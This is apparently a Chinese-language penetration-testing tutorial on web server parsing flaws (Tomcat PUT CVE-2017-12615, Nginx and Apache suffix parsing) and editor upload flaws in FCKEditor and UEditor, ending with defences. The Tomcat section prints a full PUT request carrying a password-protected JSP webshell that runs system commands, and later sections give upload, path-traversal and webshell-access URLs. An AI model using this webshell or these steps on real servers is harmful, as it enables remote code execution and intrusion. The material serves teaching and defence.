解析漏洞与编辑器漏洞
一、概述
解析漏洞是指 Web 服务器(中间件)在处理文件请求时,由于自身解析规则的缺陷,导致非脚本文件被当作脚本执行的安全漏洞。利用解析漏洞,攻击者可以上传看似正常的图片文件,再通过特殊路径使其被解析为脚本,从而强行执行木马。
编辑器漏洞则是网站使用的在线编辑器(如 FCKEditor、UEditor 等)自身存在的安全缺陷,攻击者可直接利用编辑器的上传功能绕过校验,上传恶意脚本。
核心区别: 解析漏洞是”绕过服务器解析规则”,编辑器漏洞是”利用编辑器自身的上传缺陷”,两者可单独使用,也可组合利用。
二、解析漏洞
1. Tomcat PUT 漏洞(CVE-2017-12615)
漏洞背景
Tomcat 是 Java 编写的开源 Web 应用服务器。当 Tomcat 配置文件 web.xml 中设置了 readOnly=false(即允许 PUT 方法)时,攻击者可以通过 PUT 请求直接上传 JSP 文件到服务器,实现 RCE(远程代码执行)。
影响版本: Tomcat 7.0.0 – 7.0.79
前提条件:conf/web.xml中配置了readonly=false,启用了 PUT 方法
利用原理
Tomcat 默认禁止上传 JSP 等脚本文件,但可以通过在文件名后加 /(如 /1.jsp/)绕过限制。Tomcat 会将请求按 PUT 方法处理,将文件写入磁盘,末尾的 / 在文件保存时被忽略,最终生成 1.jsp 文件。
利用步骤
- 抓包:用 Burp Suite 拦截请求,将请求方法改为
PUT,发送到 Repeater(重放模块)。 -
修改请求:将请求路径改为
/1.jsp/(注意末尾的/),请求体放入 JSP 木马。参考请求包如下:
PUT /1.jsp/ HTTP/1.1 Host: 192.168.49.128:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 750 <%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){ out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>木马解析:
excuteCmd(String c):接收命令字符串,用Runtime.getRuntime().exec()执行系统命令request.getParameter("pwd"):获取密码参数,此处密码为023request.getParameter("cmd"):获取要执行的命令- 验证通过后输出命令执行结果,否则输出
:-)
- 修改 Content-Length:请求体修改后,
Content-Length必须与请求体实际字节数一致,否则服务器会报错。Burp Suite 通常会自动更新该值,若未自动更新则需手动修改。 -
发送请求:点击 Send 发送请求,若返回
201 Created或200 OK,说明木马上传成功。 -
访问木马:浏览器访问上传的文件,传入密码和命令参数即可执行系统命令:
http://192.168.49.128:8080/1.jsp?pwd=023&cmd=whoami
| 参数 | 含义 |
|---|---|
pwd |
木马密码,此处为 023 |
cmd |
要执行的系统命令,如 whoami、ipconfig、id 等 |
2. Nginx 解析漏洞
漏洞背景
Nginx 是用 C 语言编写的轻量级 Web 服务器,常与 PHP-FPM 配合使用。当 PHP 配置项 cgi.fix_pathinfo=1(默认开启)时,PHP 会尝试修正路径,导致非脚本文件被当作 PHP 解析执行。
前提条件: Nginx + PHP-FPM 架构,
cgi.fix_pathinfo=1
漏洞本质: 并非 Nginx 自身漏洞,而是 Nginx 与 PHP-FPM 配合时的路径解析机制问题
利用原理
当访问 1.png/1.php 时:
1. Nginx 看到请求以 .php 结尾,将其交给 PHP-FPM 处理。
2. PHP-FPM 发现 1.png/1.php 不存在,触发 fix_pathinfo 机制,向前递归查找。
3. 最终找到 1.png 存在,PHP-FPM 将 1.png 当作 PHP 脚本解析执行。
利用步骤
- 上传图片马:制作图片马(图片文件 + PHP 一句话木马),以
.png格式直接上传(如123.png)。 - 构造解析路径:在图片路径后加上任意数字/名称和
.php,使 Nginx 交给 PHP-FPM 处理:http://target.com/123.png/456.php
| 路径组成 | 含义 |
|---|---|
123.png |
实际存在的图片马文件 |
/ |
路径分隔符,触发 PHP 向前查找 |
456.php |
任意名称 + .php 后缀,使 Nginx 交给 PHP-FPM 处理 |
- 执行木马:PHP-FPM 将
123.png当作 PHP 解析,其中的一句话木马被执行,可用蚁剑/菜刀连接。
注:
/后面的内容不需要真实存在,456可以换成任意数字或字符串,关键是末尾的.php触发 PHP-FPM 处理,且fix_pathinfo机制向前找到真实存在的图片马。
3. Apache 解析漏洞
漏洞背景
Apache HTTP Server 是使用 C 语言编写的 Web 服务器。当 Apache 配置了 AddHandler application/x-httpd-php .php 时,会根据文件名中的后缀判断是否交给 PHP 处理。Apache 的解析规则是从右往左逐个识别后缀,遇到不认识的后缀就继续向左找,直到遇到可识别的后缀为止。
利用原理
以 webshell.php.png 为例:
1. Apache 从右往左解析:先看到 .png,不认识(不在 AddHandler 列表中),继续向左。
2. 看到 .php,认识(在 AddHandler 列表中),将其交给 PHP 处理。
3. PHP 解析执行文件中的木马代码。
利用步骤
- 上传木马文件:将 PHP 木马文件命名为
webshell.php.png(或其他多后缀形式),直接上传。 - 直接访问:上传成功后,直接访问该文件即可触发解析执行:
http://target.com/webshell.php.pngApache 将其解析为 PHP 执行,木马生效。
常见多后缀形式:
–shell.php.png— 最常用
–shell.php.jpg— 同理
–shell.php.xxx.png—.xxx为任意不可识别后缀注: 此漏洞仅在 Apache 配置使用
AddHandler(而非AddType)时触发。若使用SetHandler或FilesMatch严格匹配后缀,则不受影响。
三、编辑器漏洞
1. 概述
网站常集成在线编辑器(如 FCKEditor、CKEditor、UEditor、KindEditor 等)来提供富文本编辑功能。这些编辑器通常自带文件上传接口,若上传校验不严,攻击者可直接利用编辑器上传木马,绕过服务器主程序的防护。
常见编辑器及漏洞:
| 编辑器 | 常见漏洞 | 利用方式 |
|---|---|---|
| FCKEditor | 路径遍历上传、文件类型绕过 | 利用 /.. 目录穿越,或修改上传路径 |
| UEditor | SSRF、文件上传 | 利用 .js 后缀绕过,或利用 SSRF |
| KindEditor | 文件上传绕过 | 利用 JSON 解析缺陷绕过文件类型校验 |
| CKEditor | 文件上传绕过 | 修改 CKEditorFuncNum 参数配合上传 |
2. FCKEditor 编辑器漏洞
漏洞背景
FCKEditor 是早期流行的 Web 编辑器,存在多个文件上传相关漏洞。其上传接口通常位于 /fckeditor/editor/filemanager/connectors/php/upload.php 等路径。
常见利用方式
a. 路径遍历上传
FCKEditor 的上传功能允许通过 CurrentFolder 参数指定上传目录,攻击者可以通过 ../ 目录穿越,将木马上传到可执行的 Web 目录:
POST /fckeditor/editor/filemanager/connectors/php/upload.php?Type=File&CurrentFolder=../../../
上传 PHP 木马后,通过遍历到的路径直接访问执行。
b. 文件类型绕过
FCKEditor 对文件类型的校验在客户端和后端不一致时,可抓包修改后缀绕过。常见绕过方式与文件上传漏洞相同(双写、大小写、特殊后缀等)。
3. UEditor 编辑器漏洞
漏洞背景
UEditor 是百度开发的 Web 编辑器,其 PHP 版本存在文件上传绕过和 SSRF 漏洞(CVE-2018-14731)。
常见利用方式
a. 文件上传绕过
UEditor 的图片上传接口可被利用上传恶意脚本。通过抓包修改文件后缀,或在文件名中构造特殊字符绕过校验:
POST /ueditor/php/controller.php?action=catchimage
b. SSRF 漏洞
UEditor 的 catchimage(远程图片抓取)功能未对 URL 进行严格校验,攻击者可构造恶意 URL 让服务器发起内网请求,实现 SSRF 攻击。
4. 编辑器漏洞通用利用思路
- 识别编辑器类型:通过页面源码、JS 引用路径、特征文件名等方式判断网站使用的编辑器。
- 定位上传接口:根据编辑器类型查找其默认上传路径(如 FCKEditor 的
/fckeditor/editor/filemanager/)。 - 测试上传校验:尝试上传不同后缀文件,观察校验方式(前端/后端/内容检测)。
- 绕过上传:根据校验方式选择对应的绕过方法。
- 执行木马:确认上传路径,配合解析漏洞或文件包含漏洞执行木马。
注: 编辑器漏洞的本质仍是文件上传漏洞,区别在于攻击入口是编辑器自带的上传接口,校验逻辑可能比主程序更弱。
四、速查总结
| 漏洞类型 | 利用形式 | 前提条件 |
|---|---|---|
| Tomcat PUT | PUT /1.jsp/ 上传 JSP 木马 |
Tomcat 7.0.0-7.0.79,readOnly=false |
| Nginx 解析 | 1.png/任意.php |
Nginx + PHP-FPM,cgi.fix_pathinfo=1 |
| Apache 解析 | shell.php.png 直接访问 |
Apache 配置 AddHandler |
| FCKEditor | 路径遍历上传 | 网站集成 FCKEditor,上传接口可访问 |
| UEditor | 文件上传/SSRF | 网站集成 UEditor,上传接口可访问 |
五、防御
1. 解析漏洞防御
- Tomcat:升级到安全版本,关闭 PUT 方法(保持
readOnly=true)。 - Nginx:设置
cgi.fix_pathinfo=0,或配置try_files确保文件存在才交给 PHP-FPM。 - Apache:使用
SetHandler+FilesMatch严格匹配后缀,避免使用AddHandler。
2. 编辑器漏洞防御
- 及时更新编辑器到最新版本。
- 对上传接口进行独立的后端校验(后缀白名单 + 内容检测)。
- 限制上传目录的执行权限(上传目录不解析脚本)。
- 移除不必要的上传接口,关闭远程图片抓取功能。
